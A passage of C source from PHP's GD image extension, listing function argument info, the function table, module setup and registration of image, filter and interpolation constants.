ZEND_BEGIN_ARG_INFO(arginfo_imagefill, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecolorstotal, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagecolortransparent, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imageinterlace, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, interlace) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepolygon, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, points) /* ARRAY_INFO(0, points, 0) */ ZEND_ARG_INFO(0, num_pos) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefilledpolygon, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, points) /* ARRAY_INFO(0, points, 0) */ ZEND_ARG_INFO(0, num_pos) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefontwidth, 0) ZEND_ARG_INFO(0, font) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagefontheight, 0) ZEND_ARG_INFO(0, font) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagechar, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, c) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecharup, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, c) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagestring, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, str) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagestringup, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, str) ZEND_ARG_INFO(0, col) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopy, 0) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopymerge, 0) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_ARG_INFO(0, pct) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopymergegray, 0) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_ARG_INFO(0, pct) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagecopyresized, 0) ZEND_ARG_INFO(0, dst_im) ZEND_ARG_INFO(0, src_im) ZEND_ARG_INFO(0, dst_x) ZEND_ARG_INFO(0, dst_y) ZEND_ARG_INFO(0, src_x) ZEND_ARG_INFO(0, src_y) ZEND_ARG_INFO(0, dst_w) ZEND_ARG_INFO(0, dst_h) ZEND_ARG_INFO(0, src_w) ZEND_ARG_INFO(0, src_h) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesx, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesy, 0) ZEND_ARG_INFO(0, im) ZEND_END_ARG_INFO() #ifdef ENABLE_GD_TTF #if HAVE_LIBFREETYPE ZEND_BEGIN_ARG_INFO_EX(arginfo_imageftbbox, 0, 0, 4) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, extrainfo) /* ARRAY_INFO(0, extrainfo, 0) */ ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagefttext, 0, 0, 8) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, extrainfo) /* ARRAY_INFO(0, extrainfo, 0) */ ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagettfbbox, 0) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagettftext, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, x) ZEND_ARG_INFO(0, y) ZEND_ARG_INFO(0, col) ZEND_ARG_INFO(0, font_file) ZEND_ARG_INFO(0, text) ZEND_END_ARG_INFO() #endif #ifdef HAVE_LIBT1 ZEND_BEGIN_ARG_INFO(arginfo_imagepsloadfont, 0) ZEND_ARG_INFO(0, pathname) ZEND_END_ARG_INFO() /* ZEND_BEGIN_ARG_INFO(arginfo_imagepscopyfont, 0) ZEND_ARG_INFO(0, font_index) ZEND_END_ARG_INFO() */ ZEND_BEGIN_ARG_INFO(arginfo_imagepsfreefont, 0) ZEND_ARG_INFO(0, font_index) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepsencodefont, 0) ZEND_ARG_INFO(0, font_index) ZEND_ARG_INFO(0, filename) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepsextendfont, 0) ZEND_ARG_INFO(0, font_index) ZEND_ARG_INFO(0, extend) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagepsslantfont, 0) ZEND_ARG_INFO(0, font_index) ZEND_ARG_INFO(0, slant) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagepstext, 0, 0, 8) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, foreground) ZEND_ARG_INFO(0, background) ZEND_ARG_INFO(0, xcoord) ZEND_ARG_INFO(0, ycoord) ZEND_ARG_INFO(0, space) ZEND_ARG_INFO(0, tightness) ZEND_ARG_INFO(0, angle) ZEND_ARG_INFO(0, antialias) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagepsbbox, 0, 0, 3) ZEND_ARG_INFO(0, text) ZEND_ARG_INFO(0, font) ZEND_ARG_INFO(0, size) ZEND_ARG_INFO(0, space) ZEND_ARG_INFO(0, tightness) ZEND_ARG_INFO(0, angle) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_image2wbmp, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filename) ZEND_ARG_INFO(0, threshold) ZEND_END_ARG_INFO() #if defined(HAVE_GD_JPG) ZEND_BEGIN_ARG_INFO(arginfo_jpeg2wbmp, 0) ZEND_ARG_INFO(0, f_org) ZEND_ARG_INFO(0, f_dest) ZEND_ARG_INFO(0, d_height) ZEND_ARG_INFO(0, d_width) ZEND_ARG_INFO(0, d_threshold) ZEND_END_ARG_INFO() #endif #if defined(HAVE_GD_PNG) ZEND_BEGIN_ARG_INFO(arginfo_png2wbmp, 0) ZEND_ARG_INFO(0, f_org) ZEND_ARG_INFO(0, f_dest) ZEND_ARG_INFO(0, d_height) ZEND_ARG_INFO(0, d_width) ZEND_ARG_INFO(0, d_threshold) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO_EX(arginfo_imagefilter, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, filtertype) ZEND_ARG_INFO(0, arg1) ZEND_ARG_INFO(0, arg2) ZEND_ARG_INFO(0, arg3) ZEND_ARG_INFO(0, arg4) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageconvolution, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, matrix3x3) /* ARRAY_INFO(0, matrix3x3, 0) */ ZEND_ARG_INFO(0, div) ZEND_ARG_INFO(0, offset) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageflip, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, mode) ZEND_END_ARG_INFO() #ifdef HAVE_GD_BUNDLED ZEND_BEGIN_ARG_INFO(arginfo_imageantialias, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, on) ZEND_END_ARG_INFO() #endif ZEND_BEGIN_ARG_INFO(arginfo_imagecrop, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, rect) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagecropauto, 0, 0, 1) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, mode) ZEND_ARG_INFO(0, threshold) ZEND_ARG_INFO(0, color) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imagescale, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, new_width) ZEND_ARG_INFO(0, new_height) ZEND_ARG_INFO(0, mode) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imageaffine, 0, 0, 2) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, affine) ZEND_ARG_INFO(0, clip) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO_EX(arginfo_imageaffinematrixget, 0, 0, 1) ZEND_ARG_INFO(0, type) ZEND_ARG_INFO(0, options) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imageaffinematrixconcat, 0) ZEND_ARG_INFO(0, m1) ZEND_ARG_INFO(0, m2) ZEND_END_ARG_INFO() ZEND_BEGIN_ARG_INFO(arginfo_imagesetinterpolation, 0) ZEND_ARG_INFO(0, im) ZEND_ARG_INFO(0, method) ZEND_END_ARG_INFO() /* }}} */ /* {{{ gd_functions[] */ const zend_function_entry gd_functions[] = { PHP_FE(gd_info, arginfo_gd_info) PHP_FE(imagearc, arginfo_imagearc) PHP_FE(imageellipse, arginfo_imageellipse) PHP_FE(imagechar, arginfo_imagechar) PHP_FE(imagecharup, arginfo_imagecharup) PHP_FE(imagecolorat, arginfo_imagecolorat) PHP_FE(imagecolorallocate, arginfo_imagecolorallocate) PHP_FE(imagepalettecopy, arginfo_imagepalettecopy) PHP_FE(imagecreatefromstring, arginfo_imagecreatefromstring) PHP_FE(imagecolorclosest, arginfo_imagecolorclosest) PHP_FE(imagecolorclosesthwb, arginfo_imagecolorclosesthwb) PHP_FE(imagecolordeallocate, arginfo_imagecolordeallocate) PHP_FE(imagecolorresolve, arginfo_imagecolorresolve) PHP_FE(imagecolorexact, arginfo_imagecolorexact) PHP_FE(imagecolorset, arginfo_imagecolorset) PHP_FE(imagecolortransparent, arginfo_imagecolortransparent) PHP_FE(imagecolorstotal, arginfo_imagecolorstotal) PHP_FE(imagecolorsforindex, arginfo_imagecolorsforindex) PHP_FE(imagecopy, arginfo_imagecopy) PHP_FE(imagecopymerge, arginfo_imagecopymerge) PHP_FE(imagecopymergegray, arginfo_imagecopymergegray) PHP_FE(imagecopyresized, arginfo_imagecopyresized) PHP_FE(imagecreate, arginfo_imagecreate) PHP_FE(imagecreatetruecolor, arginfo_imagecreatetruecolor) PHP_FE(imageistruecolor, arginfo_imageistruecolor) PHP_FE(imagetruecolortopalette, arginfo_imagetruecolortopalette) PHP_FE(imagepalettetotruecolor, arginfo_imagepalettetotruecolor) PHP_FE(imagesetthickness, arginfo_imagesetthickness) PHP_FE(imagefilledarc, arginfo_imagefilledarc) PHP_FE(imagefilledellipse, arginfo_imagefilledellipse) PHP_FE(imagealphablending, arginfo_imagealphablending) PHP_FE(imagesavealpha, arginfo_imagesavealpha) PHP_FE(imagecolorallocatealpha, arginfo_imagecolorallocatealpha) PHP_FE(imagecolorresolvealpha, arginfo_imagecolorresolvealpha) PHP_FE(imagecolorclosestalpha, arginfo_imagecolorclosestalpha) PHP_FE(imagecolorexactalpha, arginfo_imagecolorexactalpha) PHP_FE(imagecopyresampled, arginfo_imagecopyresampled) #ifdef PHP_WIN32 PHP_FE(imagegrabwindow, arginfo_imagegrabwindow) PHP_FE(imagegrabscreen, arginfo_imagegrabscreen) #endif PHP_FE(imagerotate, arginfo_imagerotate) PHP_FE(imageflip, arginfo_imageflip) #ifdef HAVE_GD_BUNDLED PHP_FE(imageantialias, arginfo_imageantialias) #endif PHP_FE(imagecrop, arginfo_imagecrop) PHP_FE(imagecropauto, arginfo_imagecropauto) PHP_FE(imagescale, arginfo_imagescale) PHP_FE(imageaffine, arginfo_imageaffine) PHP_FE(imageaffinematrixconcat, arginfo_imageaffinematrixconcat) PHP_FE(imageaffinematrixget, arginfo_imageaffinematrixget) PHP_FE(imagesetinterpolation, arginfo_imagesetinterpolation) PHP_FE(imagesettile, arginfo_imagesettile) PHP_FE(imagesetbrush, arginfo_imagesetbrush) PHP_FE(imagesetstyle, arginfo_imagesetstyle) #ifdef HAVE_GD_PNG PHP_FE(imagecreatefrompng, arginfo_imagecreatefrompng) #endif #ifdef HAVE_GD_WEBP PHP_FE(imagecreatefromwebp, arginfo_imagecreatefromwebp) #endif PHP_FE(imagecreatefromgif, arginfo_imagecreatefromgif) #ifdef HAVE_GD_JPG PHP_FE(imagecreatefromjpeg, arginfo_imagecreatefromjpeg) #endif PHP_FE(imagecreatefromwbmp, arginfo_imagecreatefromwbmp) PHP_FE(imagecreatefromxbm, arginfo_imagecreatefromxbm) #if defined(HAVE_GD_XPM) PHP_FE(imagecreatefromxpm, arginfo_imagecreatefromxpm) #endif PHP_FE(imagecreatefromgd, arginfo_imagecreatefromgd) PHP_FE(imagecreatefromgd2, arginfo_imagecreatefromgd2) PHP_FE(imagecreatefromgd2part, arginfo_imagecreatefromgd2part) #ifdef HAVE_GD_PNG PHP_FE(imagepng, arginfo_imagepng) #endif #ifdef HAVE_GD_WEBP PHP_FE(imagewebp, arginfo_imagewebp) #endif PHP_FE(imagegif, arginfo_imagegif) #ifdef HAVE_GD_JPG PHP_FE(imagejpeg, arginfo_imagejpeg) #endif PHP_FE(imagewbmp, arginfo_imagewbmp) PHP_FE(imagegd, arginfo_imagegd) PHP_FE(imagegd2, arginfo_imagegd2) PHP_FE(imagedestroy, arginfo_imagedestroy) PHP_FE(imagegammacorrect, arginfo_imagegammacorrect) PHP_FE(imagefill, arginfo_imagefill) PHP_FE(imagefilledpolygon, arginfo_imagefilledpolygon) PHP_FE(imagefilledrectangle, arginfo_imagefilledrectangle) PHP_FE(imagefilltoborder, arginfo_imagefilltoborder) PHP_FE(imagefontwidth, arginfo_imagefontwidth) PHP_FE(imagefontheight, arginfo_imagefontheight) PHP_FE(imageinterlace, arginfo_imageinterlace) PHP_FE(imageline, arginfo_imageline) PHP_FE(imageloadfont, arginfo_imageloadfont) PHP_FE(imagepolygon, arginfo_imagepolygon) PHP_FE(imagerectangle, arginfo_imagerectangle) PHP_FE(imagesetpixel, arginfo_imagesetpixel) PHP_FE(imagestring, arginfo_imagestring) PHP_FE(imagestringup, arginfo_imagestringup) PHP_FE(imagesx, arginfo_imagesx) PHP_FE(imagesy, arginfo_imagesy) PHP_FE(imagedashedline, arginfo_imagedashedline) #ifdef ENABLE_GD_TTF PHP_FE(imagettfbbox, arginfo_imagettfbbox) PHP_FE(imagettftext, arginfo_imagettftext) #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE PHP_FE(imageftbbox, arginfo_imageftbbox) PHP_FE(imagefttext, arginfo_imagefttext) #endif #endif #ifdef HAVE_LIBT1 PHP_FE(imagepsloadfont, arginfo_imagepsloadfont) /* PHP_FE(imagepscopyfont, arginfo_imagepscopyfont) */ PHP_FE(imagepsfreefont, arginfo_imagepsfreefont) PHP_FE(imagepsencodefont, arginfo_imagepsencodefont) PHP_FE(imagepsextendfont, arginfo_imagepsextendfont) PHP_FE(imagepsslantfont, arginfo_imagepsslantfont) PHP_FE(imagepstext, arginfo_imagepstext) PHP_FE(imagepsbbox, arginfo_imagepsbbox) #endif PHP_FE(imagetypes, arginfo_imagetypes) #if defined(HAVE_GD_JPG) PHP_FE(jpeg2wbmp, arginfo_jpeg2wbmp) #endif #if defined(HAVE_GD_PNG) PHP_FE(png2wbmp, arginfo_png2wbmp) #endif PHP_FE(image2wbmp, arginfo_image2wbmp) PHP_FE(imagelayereffect, arginfo_imagelayereffect) PHP_FE(imagexbm, arginfo_imagexbm) PHP_FE(imagecolormatch, arginfo_imagecolormatch) /* gd filters */ PHP_FE(imagefilter, arginfo_imagefilter) PHP_FE(imageconvolution, arginfo_imageconvolution) PHP_FE_END }; /* }}} */ zend_module_entry gd_module_entry = { STANDARD_MODULE_HEADER, "gd", gd_functions, PHP_MINIT(gd), #if HAVE_LIBT1 PHP_MSHUTDOWN(gd), #else NULL, #endif NULL, #if HAVE_GD_FREETYPE && HAVE_LIBFREETYPE PHP_RSHUTDOWN(gd), #else NULL, #endif PHP_MINFO(gd), NO_VERSION_YET, STANDARD_MODULE_PROPERTIES }; #ifdef COMPILE_DL_GD ZEND_GET_MODULE(gd) #endif /* {{{ PHP_INI_BEGIN */ PHP_INI_BEGIN() PHP_INI_ENTRY("gd.jpeg_ignore_warning", "0", PHP_INI_ALL, NULL) PHP_INI_END() /* }}} */ /* {{{ php_free_gd_image */ static void php_free_gd_image(zend_rsrc_list_entry *rsrc TSRMLS_DC) { gdImageDestroy((gdImagePtr) rsrc->ptr); } /* }}} */ /* {{{ php_free_gd_font */ static void php_free_gd_font(zend_rsrc_list_entry *rsrc TSRMLS_DC) { gdFontPtr fp = (gdFontPtr) rsrc->ptr; if (fp->data) { efree(fp->data); } efree(fp); } /* }}} */ #ifndef HAVE_GD_BUNDLED /* {{{ php_gd_error_method */ void php_gd_error_method(int type, const char *format, va_list args) { TSRMLS_FETCH(); switch (type) { case GD_DEBUG: case GD_INFO: case GD_NOTICE: type = E_NOTICE; break; case GD_WARNING: type = E_WARNING; break; default: type = E_ERROR; } php_verror(NULL, "", type, format, args TSRMLS_CC); } /* }}} */ #endif /* {{{ PHP_MSHUTDOWN_FUNCTION */ #if HAVE_LIBT1 PHP_MSHUTDOWN_FUNCTION(gd) { T1_CloseLib(); #if HAVE_GD_BUNDLED && HAVE_LIBFREETYPE gdFontCacheMutexShutdown(); #endif UNREGISTER_INI_ENTRIES(); return SUCCESS; } #endif /* }}} */ /* {{{ PHP_MINIT_FUNCTION */ PHP_MINIT_FUNCTION(gd) { le_gd = zend_register_list_destructors_ex(php_free_gd_image, NULL, "gd", module_number); le_gd_font = zend_register_list_destructors_ex(php_free_gd_font, NULL, "gd font", module_number); #if HAVE_GD_BUNDLED && HAVE_LIBFREETYPE gdFontCacheMutexSetup(); #endif #if HAVE_LIBT1 T1_SetBitmapPad(8); T1_InitLib(NO_LOGFILE | IGNORE_CONFIGFILE | IGNORE_FONTDATABASE); T1_SetLogLevel(T1LOG_DEBUG); le_ps_font = zend_register_list_destructors_ex(php_free_ps_font, NULL, "gd PS font", module_number); le_ps_enc = zend_register_list_destructors_ex(php_free_ps_enc, NULL, "gd PS encoding", module_number); #endif #ifndef HAVE_GD_BUNDLED gdSetErrorMethod(php_gd_error_method); #endif REGISTER_INI_ENTRIES(); REGISTER_LONG_CONSTANT("IMG_GIF", 1, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_JPG", 2, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_JPEG", 2, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_PNG", 4, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_WBMP", 8, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_XPM", 16, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_WEBP", 32, CONST_CS | CONST_PERSISTENT); /* special colours for gd */ REGISTER_LONG_CONSTANT("IMG_COLOR_TILED", gdTiled, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_STYLED", gdStyled, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_BRUSHED", gdBrushed, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_STYLEDBRUSHED", gdStyledBrushed, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_COLOR_TRANSPARENT", gdTransparent, CONST_CS | CONST_PERSISTENT); /* for imagefilledarc */ REGISTER_LONG_CONSTANT("IMG_ARC_ROUNDED", gdArc, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_PIE", gdPie, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_CHORD", gdChord, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_NOFILL", gdNoFill, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_ARC_EDGED", gdEdged, CONST_CS | CONST_PERSISTENT); /* GD2 image format types */ REGISTER_LONG_CONSTANT("IMG_GD2_RAW", GD2_FMT_RAW, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_GD2_COMPRESSED", GD2_FMT_COMPRESSED, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FLIP_HORIZONTAL", GD_FLIP_HORINZONTAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FLIP_VERTICAL", GD_FLIP_VERTICAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FLIP_BOTH", GD_FLIP_BOTH, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_REPLACE", gdEffectReplace, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_ALPHABLEND", gdEffectAlphaBlend, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_NORMAL", gdEffectNormal, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_EFFECT_OVERLAY", gdEffectOverlay, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_DEFAULT", GD_CROP_DEFAULT, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_TRANSPARENT", GD_CROP_TRANSPARENT, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_BLACK", GD_CROP_BLACK, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_WHITE", GD_CROP_WHITE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_SIDES", GD_CROP_SIDES, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CROP_THRESHOLD", GD_CROP_THRESHOLD, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BELL", GD_BELL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BESSEL", GD_BESSEL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BILINEAR_FIXED", GD_BILINEAR_FIXED, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BICUBIC", GD_BICUBIC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BICUBIC_FIXED", GD_BICUBIC_FIXED, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BLACKMAN", GD_BLACKMAN, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BOX", GD_BOX, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_BSPLINE", GD_BSPLINE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_CATMULLROM", GD_CATMULLROM, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_GAUSSIAN", GD_GAUSSIAN, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_GENERALIZED_CUBIC", GD_GENERALIZED_CUBIC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_HERMITE", GD_HERMITE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_HAMMING", GD_HAMMING, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_HANNING", GD_HANNING, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_MITCHELL", GD_MITCHELL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_POWER", GD_POWER, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_QUADRATIC", GD_QUADRATIC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_SINC", GD_SINC, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_NEAREST_NEIGHBOUR", GD_NEAREST_NEIGHBOUR, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_WEIGHTED4", GD_WEIGHTED4, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_TRIANGLE", GD_TRIANGLE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_TRANSLATE", GD_AFFINE_TRANSLATE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_SCALE", GD_AFFINE_SCALE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_ROTATE", GD_AFFINE_ROTATE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_SHEAR_HORIZONTAL", GD_AFFINE_SHEAR_HORIZONTAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_AFFINE_SHEAR_VERTICAL", GD_AFFINE_SHEAR_VERTICAL, CONST_CS | CONST_PERSISTENT); #if defined(HAVE_GD_BUNDLED) REGISTER_LONG_CONSTANT("GD_BUNDLED", 1, CONST_CS | CONST_PERSISTENT); #else REGISTER_LONG_CONSTANT("GD_BUNDLED", 0, CONST_CS | CONST_PERSISTENT); #endif /* Section Filters */ REGISTER_LONG_CONSTANT("IMG_FILTER_NEGATE", IMAGE_FILTER_NEGATE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_GRAYSCALE", IMAGE_FILTER_GRAYSCALE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_BRIGHTNESS", IMAGE_FILTER_BRIGHTNESS, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_CONTRAST", IMAGE_FILTER_CONTRAST, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_COLORIZE", IMAGE_FILTER_COLORIZE, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_EDGEDETECT", IMAGE_FILTER_EDGEDETECT, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_GAUSSIAN_BLUR", IMAGE_FILTER_GAUSSIAN_BLUR, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_SELECTIVE_BLUR", IMAGE_FILTER_SELECTIVE_BLUR, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_EMBOSS", IMAGE_FILTER_EMBOSS, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_MEAN_REMOVAL", IMAGE_FILTER_MEAN_REMOVAL, CONST_CS | CONST_PERSISTENT); REGISTER_LONG_CONSTANT("IMG_FILTER_SMOOTH", IMAGE_FILTER_SMOOTH, CONST_CS | CONST_PERSISTENT); 